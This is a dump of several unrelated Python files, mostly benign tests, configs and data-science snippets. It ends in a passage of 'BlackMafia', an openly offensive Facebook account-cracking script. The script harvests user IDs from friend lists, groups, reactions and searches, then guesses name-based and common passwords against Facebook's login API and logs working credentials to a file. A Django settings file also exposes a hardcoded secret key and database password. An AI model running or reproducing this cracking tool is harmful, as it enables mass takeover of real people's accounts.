self.get_validator().validate({}, {}, None, None) self.assertIsNotNone(result) self.assertFalse(result.is_valid) self.assertEqual("foo is None which is not a valid float", "%s" % result) def test_number_nullable(self): self.assertIsNone(self.get_validator(nullable=True).validate( {}, {}, None, None)) def test_number_min_max_value(self): validator = self.get_validator(minval=4, maxval=10) result = validator.validate({}, {"args": {validator.param_name: 3.9}}, None, None) self.assertIsNotNone(result) self.assertFalse(result.is_valid) self.assertEqual("foo is 3.9 which is less than the minimum (4)", "%s" % result) result = validator.validate({}, {"args": {validator.param_name: 4.1}}, None, None) self.assertIsNone(result) result = validator.validate({}, {"args": {validator.param_name: 11}}, None, None) self.assertIsNotNone(result) self.assertFalse(result.is_valid) self.assertEqual("foo is 11.0 which is greater than the maximum (10)", "%s" % result) def test_number_integer_only(self): validator = self.get_validator(integer_only=True) result = validator.validate({}, {"args": {validator.param_name: 3.9}}, None, None) self.assertFalse(result.is_valid, result.msg) self.assertIsNotNone(result) self.assertFalse(result.is_valid) self.assertEqual("foo is 3.9 which hasn't int type", "%s" % result) result = validator.validate({}, {"args": {validator.param_name: 3}}, None, None) self.assertIsNone(result)
[ "lhx04061225@gmail.com" ]
lhx04061225@gmail.com
7eaa88500d116e362ba2c6f0b56187a47263df5f
7eace11f85d3fcd90a1066fb6249d76b8fa502ab
/docs/conf.py
a516381dc2d2f64fb4fe398e1a61a796af288a10
[ "MIT" ]
permissive
vermashivam679/foocat_sv
aa78c841b2ae8b019ba086981561823179a2174d
62dd090c078f790c2e706d5613f4888dc38344b5
refs/heads/master
2021-01-26T06:10:20.551011
2020-02-29T06:46:12
2020-02-29T06:46:12
243,341,350
0
0
null
null
null
null
UTF-8
Python
false
false
4,908
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # foocat_sv documentation build configuration file, created by # sphinx-quickstart on Fri Jun 9 13:47:02 2017. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. # If extensions (or modules to document with autodoc) are in another # directory, add these directories to sys.path here. If the directory is # relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath('..')) import foocat_sv # -- General configuration --------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = u'foocat_sv' copyright = u"2020, Shivam Verma" author = u"Shivam Verma" # The version info for the project you're documenting, acts as replacement # for |version| and |release|, also used in various other places throughout # the built documents. # # The short X.Y version. version = foocat_sv.__version__ # The full version, including alpha/beta/rc tags. release = foocat_sv.__version__ # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'alabaster' # Theme options are theme-specific and customize the look and feel of a # theme further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # -- Options for HTMLHelp output --------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'foocat_svdoc' # -- Options for LaTeX output ------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass # [howto, manual, or own class]). latex_documents = [ (master_doc, 'foocat_sv.tex', u'foocat_sv Documentation', u'Shivam Verma', 'manual'), ] # -- Options for manual page output ------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'foocat_sv', u'foocat_sv Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'foocat_sv', u'foocat_sv Documentation', author, 'foocat_sv', 'One line description of project.', 'Miscellaneous'), ] # Add napoleon to the extensions list extensions = ['sphinx.ext.napoleon']
[ "vermashivam679@gmail.com" ]
vermashivam679@gmail.com
38f797ffd72ef0fc033cfc316123cdf834221c92
70073ba77f0d7aa9e3a9f4a819888f11d78b5b53
/my/settings.py
9856367a9395dd5ccea5ee85e51c800870a17063
[]
no_license
princee-kabra/Displaying-CSV-File-
17a0b2cfd5027a2bd79dae96e64e14e342ca70e5
a6fa591cca7ce00ef9de26e53c81145c5997c438
refs/heads/main
2023-06-12T14:35:27.931952
2021-07-06T19:25:54
2021-07-06T19:25:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,510
py
""" Django settings for my project. Generated by 'django-admin startproject' using Django 3.2.4. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'django-insecure-!-+e$#kr^ka@*6elp_#ci=-ylu58^4sm9ge_igty3y0wutk%*l' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'import_export', 'hi.apps.HiConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'my.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': ['templates'], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'my.wsgi.application' # Database # https://docs.djangoproject.com/en/3.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME':'work', 'USER':'postgres', 'PASSWORD':'django1234', 'HOST':'127.0.0.1', 'PORT':'5432', } } # Password validation # https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ STATIC_URL = '/static/' # Default primary key field type # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
[ "noreply@github.com" ]
princee-kabra.noreply@github.com
6b93ecdbb92e6d5706872b8722d49a411dcbc403
fdd6c6a1b8e6e7e8cd267de97a1b435777342e1b
/tests/test_altdphi.py
3a840650b023a7e240e31fe5fb070f9cd216cce3
[ "BSD-3-Clause" ]
permissive
TaiSakuma/altdphi
bccec475432dec5aebafda4e47d12fcc5cf048d6
ed74418fe6e0e4b08582d80093102795276d17d6
refs/heads/master
2021-03-16T08:45:10.249447
2019-05-14T16:44:40
2019-05-14T16:44:40
118,086,863
0
0
null
null
null
null
UTF-8
Python
false
false
2,152
py
# Tai Sakuma <tai.sakuma@gmail.com> import numpy as np import pytest from altdphi import AltDphi from .testing import assert_altdphi_equal from .expected import * ##__________________________________________________________________|| @pytest.fixture( params=[ (event_nojet, altdphi_nojet, altdphi_met_nojet), (event_monojet, altdphi_monojet, altdphi_met_monojet), (event_two_jets, altdphi_two_jets, altdphi_met_two_jets), (event_three_jets, altdphi_three_jets, altdphi_met_three_jets), (event_four_jets, altdphi_four_jets, altdphi_met_four_jets), (event_twelve_jets, altdphi_twelve_jets, altdphi_met_twelve_jets), ], ids=('nojet', 'monojet', 'two_jets', 'three_jets', 'four_jets', 'twelve_jets') ) def event_altdphi(request): return request.param def test_altdphi(event_altdphi): event = event_altdphi[0] expected_altdphi = event_altdphi[1] pt = event['jet_pt'] phi = event['jet_phi'] actual_altdphi = AltDphi(pt=pt, phi=phi) assert_altdphi_equal(expected_altdphi, actual_altdphi) def test_altdphi_met(event_altdphi): event = event_altdphi[0] expected_altdphi = event_altdphi[2] pt = event['jet_pt'] phi = event['jet_phi'] met = event['met'] met_phi = event['met_phi'] actual_altdphi = AltDphi(pt=pt, phi=phi, mht=met, mht_phi=met_phi) assert_altdphi_equal(expected_altdphi, actual_altdphi) ##__________________________________________________________________|| def test_altdphi_monojet_is_minus_mht(): event = event_monojet pt = event['jet_pt'] phi = event['jet_phi'] altdphi = AltDphi(pt=pt, phi=phi) assert pt[0] == altdphi.mht assert [1] == altdphi.f assert [-1] == altdphi.cos_dphi def test_altdphi_monojet_is_not_minus_mht(): event = event_monojet pt = event['jet_pt'] phi = event['jet_phi'] mht = event['met'] mht_phi = event['met_phi'] altdphi = AltDphi(pt=pt, phi=phi, mht=mht, mht_phi=mht_phi) assert pt[0] != altdphi.mht assert [1] != altdphi.f assert [-1] != altdphi.cos_dphi ##__________________________________________________________________||
[ "tai.sakuma@gmail.com" ]
tai.sakuma@gmail.com
bad4dbcad1d81f022482309ac0e1451a68d8136e
64d0fadae054f71c2b7ab3515c287d2b65de5d6f
/server/ordermanager/core/migrations/0003_auto_20210206_1041.py
221c80ac199fd403c94249fade4cf31166d8e8fd
[]
no_license
jasoneffendi/ISYS6597-TK3
58a4fd0630dec0b74b27374726d6daa90555006f
54831f6f4af8e4e843699fb0cec57950bbea0f10
refs/heads/master
2023-03-01T14:51:48.180246
2021-02-06T07:26:25
2021-02-06T07:26:25
336,293,519
0
0
null
null
null
null
UTF-8
Python
false
false
495
py
# Generated by Django 3.1.6 on 2021-02-06 03:41 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0002_pemesanan_pengambilan_produksi'), ] operations = [ migrations.AlterField( model_name='pegawai', name='id_bagian', field=models.OneToOneField(null=True, on_delete=django.db.models.deletion.PROTECT, to='core.bagian'), ), ]
[ "jasoneffendi27@gmail.com" ]
jasoneffendi27@gmail.com
11a62cf063a9f63210a2688bedd267afdf896c3d
fa95ad476b1393de3d3cf16cdefbe0c2dc1ce437
/DataCamp/02-intermediate-python-for-data-science/3-logic-control-flow-and-filtering/and-or-not-(1).py
6bdf14e91732f1e1f82de86b10e2786e5ae3df89
[]
no_license
vijaykumar79/Data-Science-Python
95a6f6ba5f112cceeaf2fbfe8be3e7185d67ce3d
0ed142ca1e9aaef19e11621bd9c54d29c1abe152
refs/heads/master
2020-03-29T19:22:09.814218
2020-01-02T08:23:14
2020-01-02T08:23:14
150,259,437
0
1
null
null
null
null
UTF-8
Python
false
false
963
py
''' and, or, not (1) 100xp A boolean is either 1 or 0, True or False. With boolean operators such as and, or and not, you can combine these booleans to perform more advanced queries on your data. In the sample code on the right, two variables are defined: my_kitchen and your_kitchen, representing areas. Instructions -Write Python expressions, wrapped in a print() function, to check whether: -my_kitchen is bigger than 10 and smaller than 18. -my_kitchen is smaller than 14 or bigger than 17. -double the area of my_kitchen is smaller than triple the area of your_kitchen. ''' # Define variables my_kitchen = 18.0 your_kitchen = 14.0 # my_kitchen bigger than 10 and smaller than 18? print(my_kitchen > 10 and my_kitchen < 18) # my_kitchen smaller than 14 or bigger than 17? print(my_kitchen < 14 or my_kitchen > 17) # Double my_kitchen smaller than triple your_kitchen? print((my_kitchen * 2) < (your_kitchen * 3))
[ "noreply@github.com" ]
vijaykumar79.noreply@github.com
ab65e0fd7aca6509816303ceadabec1f47a0b4fb
8cf2f89038cf26087294cdf8e50724b95df4882e
/src/data/div2kdg.py
628e71e82ae74070e9e805f543d62d43e66a9db5
[ "MIT" ]
permissive
dnap512/SR-RSC
ca67944fc2b4ee7469a8f46e6bb219b67ad2a665
4b358a918341b025444d69e0a24d173431c0eddb
refs/heads/master
2023-01-28T19:18:07.506284
2020-12-01T12:44:04
2020-12-01T12:44:04
316,384,951
0
0
null
null
null
null
UTF-8
Python
false
false
1,510
py
import os from data import srdata class DIV2KDG(srdata.SRData): def __init__(self, args, name='DIV2KDG', train=True, benchmark=False): if args.data_range==None: file_num = len(os.listdir(os.path.join(args.dir_data,'DIV2KDG/DIV2K_train_HR'))) * len(args.use_data.split('_')) split = str(int(file_num/9*8)) data_range = [['1', split],[str(int(split)+1), str(int(split)+10)]] else: data_range = [r.split('-') for r in args.data_range.split('/')] print(data_range) # exit(True) if train: data_range = data_range[0] else: if args.test_only and len(data_range) == 1: data_range = data_range[0] else: data_range = data_range[1] self.begin, self.end = list(map(lambda x: int(x), data_range)) super(DIV2KDG, self).__init__( args, name=name, train=train, benchmark=benchmark ) def _scan(self): names_hr, names_lr = super(DIV2KDG, self)._scan() names_hr = names_hr[self.begin - 1:self.end] names_lr = [n[self.begin - 1:self.end] for n in names_lr] return names_hr, names_lr def _set_filesystem(self, dir_data): super(DIV2KDG, self)._set_filesystem(dir_data) self.dir_hr = os.path.join(self.apath, 'DIV2K_train_HR') self.dir_lr = [os.path.join(self.apath, d) for d in self.args.use_data.split("_")] if self.input_large: self.dir_lr += 'L'
[ "mh9716@naver.com" ]
mh9716@naver.com
728158a4d9026a97e17a89c008935c78bba93cc3
2f6817fc8f6ddb48f5f88c913d8e40b672fc3dbf
/MLP/lec13-4[Kmeans].py
84ab79f09472a0230ce9c1721fc34ce47e22cf64
[]
no_license
cutz-j/TodayILearned
320b5774de68a0f4f68fda28a6a8b980097d6ada
429b24e063283a0d752ccdfbff455abd30ba3859
refs/heads/master
2020-03-23T17:34:51.389065
2018-11-24T08:49:41
2018-11-24T08:49:41
141,865,899
0
0
null
null
null
null
UTF-8
Python
false
false
1,201
py
import pandas as pd from sklearn import datasets from sklearn.cluster import KMeans import matplotlib.pyplot as plt from sklearn.pipeline import make_pipeline from sklearn.preprocessing import StandardScaler iris = datasets.load_iris() labels = pd.DataFrame(iris.target) labels.columns = ['labels'] data = pd.DataFrame(iris.data) data.columns = ['Sepal_length', 'Sepal_width', 'Petal_length', 'Petal_width'] data = pd.concat([data, labels], axis=1) feature = data[['Sepal_length', 'Sepal_width']] model = KMeans(n_clusters=5, algorithm='auto') scaler = StandardScaler() pipeline = make_pipeline(scaler, model) pipeline.fit(feature) predict = pd.DataFrame(pipeline.predict(feature)) ks = range(1,10) inertias = [] for k in ks: model = KMeans(n_cluster=k) model.fit(feature) inertias.append(model.inertia_) predict.columns = ['predict'] r = pd.concat([feature, predict], axis=1) plt.scatter(r['Sepal_length'], r['Sepal_width'], c=r['predict'], alpha=0.5) centers = pd.DataFrame(model.cluster_centers_, columns=['Sepal_length', 'Sepal_width']) #center_x = centers['Sepal_length'] #center_y = centers['Sepal_width'] #plt.scatter(center_x, center_y, s=50, marker='D', c='r') #plt.show()
[ "cutz309@gmail.com" ]
cutz309@gmail.com
c3e43afbae66f6aa4658cc2e059a94f5e45187c6
b5d738624d7016f7e10796485624c567099374ab
/starthinker/util/dcm/schema/Activity_Metrics.py
cfddd432e314017727e16532df1791ab7115aa76
[ "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
dvandra/starthinker
212d8166752c36fbe6a5e0988fb5ad598f35c4a6
07a8c1f8bf3c7493b1833d54ca0acc9305a04bc9
refs/heads/master
2020-06-14T05:19:08.348496
2019-07-02T17:54:06
2019-07-02T17:54:06
194,915,001
1
0
Apache-2.0
2019-07-02T18:25:23
2019-07-02T18:25:23
null
UTF-8
Python
false
false
3,495
py
########################################################################### # # Copyright 2017 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ########################################################################### Activity_Metrics_Schema = [ { "name":"Click_Through_Conversions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Click_Through_Revenue", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"View_Through_Conversions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"View_Through_Revenue", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Click_Through_Conversions_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Click_Through_Revenue_Cross_Environment", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Click_Through_Conversion_Events_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Total_Conversions_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Total_Revenue_Cross_Environment", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Total_Conversion_Events_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"View_Through_Conversions_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"View_Through_Revenue_Cross_Environment", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"View_Through_Conversion_Events_Cross_Environment", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Dynamic_Element_Click_Through_Conversions", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Dynamic_Element_Total_Conversions", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Dynamic_Element_View_Through_Conversions", "type":"INTEGER", "mode":"NULLABLE" }, { "name":"Natural_Search_Actions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Natural_Search_Revenue", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Natural_Search_Transactions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Action_Conversion_Percentage", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Paid_Search_Actions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Average_Cost_Per_Action", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Average_Cost_Per_Transaction", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Average_Dcm_Transaction_Amount", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Paid_Search_Revenue", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Spend_Per_Transaction_Revenue", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Transaction_Conversion_Percentage", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Floodlight_Paid_Search_Transaction_Revenue_Per_Spend", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Paid_Search_Transactions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Total_Conversions", "type":"FLOAT", "mode":"NULLABLE" }, { "name":"Total_Revenue", "type":"FLOAT", "mode":"NULLABLE" } ]
[ "kenjora@kenjora-macbookair.roam.corp.google.com" ]
kenjora@kenjora-macbookair.roam.corp.google.com
4ab1f6f42bf22d405296c8bc40add62412636f68
d55bcf35f30ca7319b15b3598e4467b9635f6a7a
/admin_cutom/urls.py
b937a397e21f85406655c177d2caef25b75d5992
[]
no_license
alanlengkoan/crudindjango3.0.6
c5dcde657dc07916dd68843f294da814bf9633a7
a54f665c5c281175759089c861f616d3a1442de2
refs/heads/master
2022-07-03T05:58:55.739316
2020-05-12T14:38:43
2020-05-12T14:38:43
262,588,324
0
0
null
null
null
null
UTF-8
Python
false
false
340
py
from django.urls import path # untuk mengambil views from . import views urlpatterns = [ path('', views.index), # untuk login path('login/', views.login, name='login'), path('login/check_validation/', views.check_validation, name='check_validation'), # untuk logout path('logout/', views.logout, name='logout'), ]
[ "alanlengkoan15@gmail.com" ]
alanlengkoan15@gmail.com
b87e80f0f75276d0749f6f197850462a32245582
2088b21323a53fad3655258f26c01aca3d008bea
/Black Mafia/time pass_dec.py
026bca91501b92981a9348fa426940fb47e6e0ea
[]
no_license
darkhunter141/Reverse-Engineering
ca5e23b4509a847155d65bef7091124dc12f3eeb
88f4b63a1c0f9f0ed2d021004521c3c89dc9e6e4
refs/heads/main
2023-06-07T05:03:26.699649
2021-06-29T12:54:56
2021-06-29T12:54:56
359,063,058
13
7
null
null
null
null
UTF-8
Python
false
false
16,947
py
#Update 14/10/2020 (18:36) #Recode Mulu asu tinggal pake apa susahnya:v import os,sys,time,requests,json,re from bs4 import BeautifulSoup as parser from time import sleep from concurrent.futures import ThreadPoolExecutor from colorama import init, Fore, Back B = Fore.BLUE W = Fore.WHITE C = Fore.CYAN R = Fore.RED G = Fore.GREEN Y = Fore.YELLOW id=[] count=0 result=0 chek=0 die=0 check=[] vuln=[] mbasic="https://mbasic.facebook.com{}" def clear(): os.system('clear') def baner(): print(f''' {R} ____ _ _ __ __ __ _ | __ )| | __ _ ___| | _| \/ | __ _ / _(_) __ _ | _ \| |/ _` |/ __| |/ / |\/| |/ _` | |_| |/ _` | | |_) | | (_| | (__| <| | | | (_| | _| | (_| | |____/|_|\__,_|\___|_|\_\_| |_|\__,_|_| |_|\__,_| ''') print(' Creator : BlackMafia') print(' WhatsApp : 03094161457') print() def masuk(): try: cek = open("cookies").read() except FileNotFoundError: cek = input("\033[00mCookies : \033[1;96m") cek = {"cookie":cek} ismi = ses.get(mbasic.format("/me",verify=False),cookies=cek).content if "mbasic_logout_button" in str(ismi): if "What do you think now" in str(ismi): with open("cookies","w") as f: f.write(cek["cookie"]) else: try: requests.get(mbasic.format(parser(ismi,"html.parser").find("a",string="Bahasa Indonesia")["href"]),cookies=cek) except: pass try: ikuti = parser(requests.get(mbasic.format("/xzcoder.xzcoder"),cookies=cek).content,"html.parser").find("a",string="Ikuti")["href"] ses.get(mbasic.format(ikuti),cookies=cek) except: pass return cek["cookie"] else: print('\033[00mCookies \033[91mInvalid\033[00m') time.sleep(1) os.system('python BlackMafiaNext.py') def nid(): r=ses.get(mbasic.format('/me'),cookies=kukis).text name=re.findall(r'<title>(.*?)</title>',r)[0] uid=re.findall(r'name="target" value="(.*?)"',r)[0] print("\033[00mName \033[91m: \033[93m"+name) print("\033[00mID \033[91m: \033[93m"+uid) print('\033[91m<\033[90m---------------------\033[91m>\033[00m') def public(url): req=requests.get(url,cookies=kukis).content users=re.findall(r'a class=".." href="/(.*?)">(.*?)</a>',str(req)) for user in users: if "profile" in user[0]: id.append(user[1] + "|" + re.findall('id=(\d*)',str(user[0]))[0]) else: id.append(user[1] + "|" + user[0]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if "View more" in str(req): public(mbasic.format(parser(req,"html.parser").find("a",string="View more")["href"])) return id def temanid(url): req=requests.get(url,cookies=kukis).content getuser = re.findall('middle"><a class=".." href="(.*?)">(.*?)</a>',str(req)) for x in getuser: if 'profile' in x[0]: id.append(x[1] + '|' + re.findall("=(\d*)?",str(x[0]))[0]) elif 'friends' in x: continue else: id.append(x[1] + '|' + x[0].split('/')[1].split('?')[0]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if 'See Other Friends' in str(req): temanid(mbasic.format(parser(req,'html.parser').find('a',string='View more')['href'])) return id def targetteman(url): req=requests.get(url,cookies=kukis).content getuser = re.findall('middle"><a class=".." href="(.*?)">(.*?)</a>',str(req)) for x in getuser: if 'profile' in x[0]: id.append(x[1] + '|' + re.findall("=(\d*)?",str(x[0]))[0]) elif 'friends' in x: continue else: id.append(x[1] + '|' + x[0].split('/')[1].split('?')[0]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if 'See Other Friends' in str(req): targetteman(mbasic.format(parser(req,'html.parser').find('a',string='View more')['href'])) return id def like(url): try: req=requests.get(url,cookies=kukis).content lk=re.findall(r'href="(/ufi.*?)"',str(req))[0] aws=getlike(mbasic.format(lk)) return aws except: print('\033[91mFailed To Crack\033[00m') sleep(1) menu() def getlike(react): like=requests.get(react,cookies=kukis).content lkusr= re.findall('class="b."><a href="(.*?)">(.*?)</a></h3>',str(like)) for user in lkusr: if 'profile' in user[0]: id.append(user[1] + "|" + re.findall("=(\d*)",str(user[0]))[0]) else: id.append(user[1] + "|" + user[0].split('/')[1]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if 'View more' in str(like): getlike(mbasic.format(parser(like,'html.parser').find('a',string="View more")["href"])) return id def grupid(url): req=requests.get(url,cookies=kukis).content users=re.findall(r'a class=".." href="/(.*?)">(.*?)</a>',str(req)) for user in users: if "profile" in user[0]: id.append(user[1] + "|" + re.findall('id=(\d*)',str(user[0]))[0]) else: id.append(user[1] + "|" + user[0]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if "View more" in str(req): grupid(mbasic.format(parser(req,"html.parser").find("a",string="View more")["href"])) return id def search(url): req=requests.get(url,cookies=kukis).content users=re.findall(r'class="s cc"><a href="(.*?)"><div class=".."><div class="..">(.*?)</div></div>',str(req)) for user in users: if "profile" in user[0]: id.append(user[1] + "|" + re.findall("id=(\d*)",str(user[0]))[0]) else: id.append(user[1] + "|" + user[0].split("?")[0]) print(f'\r\033[00mTotal ID: \033[93m{str(len(id))}',end='') if "See Next Results" in str(req): search(parser(req,'html.parser').find("a",string="See Next Results")["href"]) return id def kmn(url): req=requests.get(url,cookies=kukis).content users=re.findall(r'middle"><a class=".." href="(.*?)">(.*?)</a>',str(req)) for user in users: if "mbasic" in user[0]: id.append(user[1] + '|' + re.findall("uid=(\d*)",str(user[0]))[0]) else: id.append(user[1] + '|' + re.findall("=(\d*)",str(user[0]))[0]) print(f"\r\033[00mTotal ID: \033[93m{str(len(id))}",end="") if "View more" in str(req): kmn(mbasic.format(parser(req,"html.parser").find("a",string="View more")["href"])) return id def login(username,password,cek=False): global die,result,chek,count b = "350685531728%7C62f8ce9f74b12f84c123cc23437a4a32" params = { 'access_token': b, 'format': 'JSON', 'sdk_version': '2', 'email': username, 'locale': 'en_US', 'password': password, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig': '3f555f99fb61fcd7aa0c44f58f522ef6', } api = 'https://b-api.facebook.com/method/auth.login' response = requests.get(api, params=params) if 'EAA' in response.text: print(f"\r\033[00m[\033[1;32m✓\033[00m] \033[1;32m{username}\033[90m|\033[1;32m{password} ",end="") print() result += 1 if cek: vuln.append(username+"|"+password) else: with open('vuln.txt','a') as f: f.write(username + '|' + password + '\n') elif 'www.facebook.com' in response.json()['error_msg']: print(f"\r\033[00m[\033[1;91mx\033[00m] \033[1;33m{username}\033[90m|\033[1;33m{password} ",end="") print() chek += 1 if cek: check.append(username+"|"+password) else: with open('check.txt','a') as f: f.write(username + '|' + password + '\n') else: die += 1 tk=['\033[1;97m#','\033[1;96m#','\033[1;97m#','\033[1;91m#'] for o in tk: print(f"\r\033[00m[{o}\033[00m] Ok : \033[1;92m{str(result)} \033[00mCP : \033[1;93m{str(chek)} \033[00mPlz Wi8.. : \033[1;91m{str(die)}\033[00m",end="") time.sleep(0.2) def menu(): clear() baner() nid() print(''' \033[93m1). \033[00mCrack From Friends Cloning \033[93m2). \033[00mCrack From Friends Cloning \033[93m3). \033[00mCrack From Target Friends Cloning \033[93m4). \033[00mCrack From React Post Cloning \033[93m5). \033[00mCrack From Group Cloning \033[93m6). \033[00mCrack From Search Cloning \033[93m7). \033[00mCrack From Requests Friends Cloning \033[93m0). \033[00mExit''') pilih_menu() def pilih_menu(): ff=input('\033[00m>> \033[93m') if ff == '1': clear() baner() nid() asw=input('\033[00mPublic ID: \033[93m') username=public(mbasic.format('/friends/?id='+asw)) with ThreadPoolExecutor(max_workers=30) as ex: for user in username: aa=user.split('|') bb=aa[0].split(' ') for x in bb: litpas=[ str(x) + '123', str(x) + '1234', str(x) + '12345', str(x) + '123456' ] litpas.append('000786') litpas.append('Pakistan') litpas.append('Pakistan123') litpas.append('Pakistan786') litpas.append('786786') for passw in set(litpas): ex.submit(login,(aa[1]),(passw)) print('\n\033[00m[\033[96m*\033[00m]Done.') elif ff == '2': clear() baner() nid() usr=parser(ses.get(mbasic.format('/me'),cookies=kukis).content,'html.parser').find('a',string='Teman') 